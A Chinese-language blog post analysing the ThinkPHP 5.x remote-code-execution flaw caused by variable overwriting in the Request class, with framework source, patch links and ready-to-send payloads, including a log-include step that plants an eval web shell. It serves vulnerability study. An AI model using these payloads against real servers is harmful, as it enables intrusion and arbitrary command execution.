ThinkPHP 5.x RCE 漏洞分析与利用总结

近日ThinkPHP出现由于变量覆盖而引起的RCE,其漏洞根本源于thinkphp/library/think/Request.php中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

例如:
1、大部分payload进入最后rce的函数是调用了call_user_func,其可控的也只有一个参数,并且还不能为数组。
2、另外在php7中assert不能使用,或者命令函数被禁用。

接下来将为大家进行漏洞分析以及对各个版本、场景下的利用进行详细的总结。

漏洞范围: <= 5.0.23、<= 5.1.32

5.0.x补丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

5.1.x补丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

Payload总结

1、<= 5.0.13

POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system

2、<= 5.0.23、5.1.0 <= 5.1.16

  • 开启debug()
POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。

POST /?s=captcha HTTP/1.1

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

4、5.0.0 <= version <= 5.1.32

  • error_reporting(0)关闭报错
POST /

c=exec&f=calc.exe&_method=filter

5.0.0 <= ThinkPHP5 <= 5.1.17

thinkphp/library/think/Request.php中的$this->{$this->method}($_POST);,其中$this->method是可以通过post方式控制,其传入的参数是Config::get('var_method'),默认值为_method,这样将导致我们可以调用Request里面的方法。

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

Request里面有很多方法,比如__construct里面就会初始化一些值,通过前面method的调用,即我们可以通过$_POST数据来覆盖Request类中的属性。

protected function __construct($options = []){
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

Request属性里面有一些可利用点,比如filter,他用于处理数据。但如果能够变量覆盖后,我们就可以将它变为威胁函数system、assert,一旦经过这些函数处理,便会导致RCE。

ThinkPHP <= 5.0.12

以5.0.10作为分析:

POST /?s=index/index

sa=whoami&_method=__construct&method=&filter[]=system

ThinkPHP之前没做默认filter,即覆盖了filter就会到后面将每个参数值都处理一次,所以sa参数可以为任意,比如发现者的payload写的为s

其最后进入filter调用栈为如下:

可以看到当前请求覆盖了filter为system,最后处理到键值为sa的数据包的时候执行了system('whoami')从而执行了命令。

5.0.13 < ThinkPHP <= 5.1.17

以5.0.23作为分析

这里有一个注意点,在5.0.12之后上面payload则不行,原因在于:
其中第一次加载默认filter位置: thinkphp/library/think/App.php

$request->filter($config['default_filter']);

在覆盖的时候可以看到,默认default_filter是为空字符串,所以最后便是进入了$this->filter = $filter导致system值变为空。

public function filter($filter = null){
        if (is_null($filter)) {
            return $this->filter;
        } else {
            $this->filter = $filter;
        }
}

接下来就是我们进入了路由check,从而覆盖filter的值为system

覆盖完毕后,最后App::exec方法调用public static function module($result, $config, $convert = null)还会这样加载一次默认filter,导致之前覆盖的filter失效,从而失败。

这个时候的可以回过头来看看整个流程,寻找更多的攻击点。
第一步: 看下ThinkPHP执行流程,从最一开始的

// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();

再跟入App:run()方法,因为上面5.0.10payload失效就是因为在App::exec处进入了module调用,所以如果在此之前调用到filter也可以完成攻击。

第二步: 回顾上面5.0.10分析,主要思路是为了利用filter,最后filter利用执行命令是Request::input() -> Request::filterValue(),再往上看还有Request::param()bindParams,所以可以用正则找找其它Requests被调用的位置,例如->param\(|::param\(->input\(|::input\(

1、debug攻击向量payload
这里就可以找到第一个攻击向量,需要开启debug。

可以看到上代码,首先是在$dispatch = self::routeCheck($request, $config);处覆盖了filter为system,然后进入了debug里面的$request->param()。这也就是为什么任意模块都可以,因为它没有进入后面的exec流程,可以用下面payload测试一下。

POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

可以看到这个调用过程是param -> method -> server -> input -> filterValue,这里也不需要去覆盖method。

2、exec
在更早的版本失效的payload是因为module里面会重新覆盖filter,那就可以选择一下其他的dispatch,比如method最后进入了param

POST /?s=captcha HTTP/1.1

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

这里需要了解一下ThinkPHP中路由地址几种定义

定义方式 定义格式
路由到模块/控制器 '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...'
路由到重定向地址 '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码']
路由到控制器的方法 '@[模块/控制器/]操作'
路由到类的方法 '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法'
路由到闭包函数 闭包函数定义(支持参数传入)

可以跟进vendor/topthink/think-captcha/src/helper.php:11中看到\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");,完整版的ThinkPHP中提供了一个验证码的功能,其方式就是路由到类的方法,这里用了一个自动类加载机制,将vendor目录下的文件加载了。

如果想要进入Captcha的路由到类的方法中: 其中rules定义了Captcha是为get方式请求,可以看到是进入$request->method()获取method。Request::mehotd()是可以进行遍历覆盖,所以可以让method变为get方式,这样就能够获得到Captcha的rules。

5.1.17 <= ThinkPHP5 >= 5.1.32

以ThinkPHP 5.1.17作为分析

再次翻到thinkphp/library/think/Request.php中的method方法可以看到,在5.1.16之后$this->{$this->method}($_POST);被改为$this->{$method} = $_POST;

这个payload是通版本payload,可以打5.0.x、5.1.x,原因在最后解释,但是由于需要加上error_reporting,有点可惜。

POST /

c=exec&f=calc.exe&_method=filter

这里有一个问题,首先通过$requests->method()覆盖完method后,返回的为filter,之后进入getMethodRules函数

getMethodRules函数便是$this->rules[$method]$this->rules['*']进行合并,这时候由于在rules数组没有filter这个键名导致报错,以至即使覆盖了filter也是没有办法执行到。

protected function getMethodRules($method){
    return array_merge($this->rules[$method], $this->rules['*']);
}

所以需要在index.php文件中添加一个error_reporting(0);,常常开发者为了方便会直接在类似此处地方加上忽略报错。

之前看exp一直好奇为什么会存在c=exec&f=calc.exe,现在回过头来研究。

1、首先是进入method,$this->filter = $_POST,这个时候filter就是c=exec&f=calc.exe&_method=filter

public function method($origin = false){
    if ($origin) {
        ....
    } elseif (!$this->method) {
        if (isset($_POST[$this->config['var_method']])) {
            $this->method    = strtoupper($_POST[$this->config['var_method']]);
            $method          = strtolower($this->method);
            $this->{$method} = $_POST;
        }
        ...
    }
    return $this->method;
}

2、Request::getFilter()函数是将c=exec&f=calc.exe&_method=filter这个作为数组全部获取

3、exploit
最后攻击的时候,可以看到filter和data数据都是c=exec&f=calc.exe&_method=filter

然后便是利用一个个filter对值进行处理,也就是调用了call_user_func执行了exec(calc.exe)

可以回顾看看: 最后的触发还是经过 Request::param() -> Request::input() -> Request::filterValue()


为什么这个payload可以打5.0.x版本?

因为Request类里面也有filter方法,总的下来,$this->{$this->method}($_POST);也就被转化为$this->{$method} = $_POST;

public function filter($filter = null){
    if (is_null($filter)) {
        xxx;
    } else {
        $this->filter = $filter;
    }
}

Exploit填坑

对于call_user_func的利用,在php7之后,由于框架更多的是类,其静态方法的存在有限。

1、转为反序列化漏洞
unserialize只需要一个字符串型参数,但是这样利用下来就是又绕了一大圈,不过对于框架来说,其中的可利用类相对较为丰富,也不失为最后的保底。

2、利用变量覆盖,覆盖全局变量,再做突破口
parse_str、extract

3、include

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
posted @ 2019-01-21 10:38  l3m0n  阅读(9179)  评论(0编辑  收藏  举报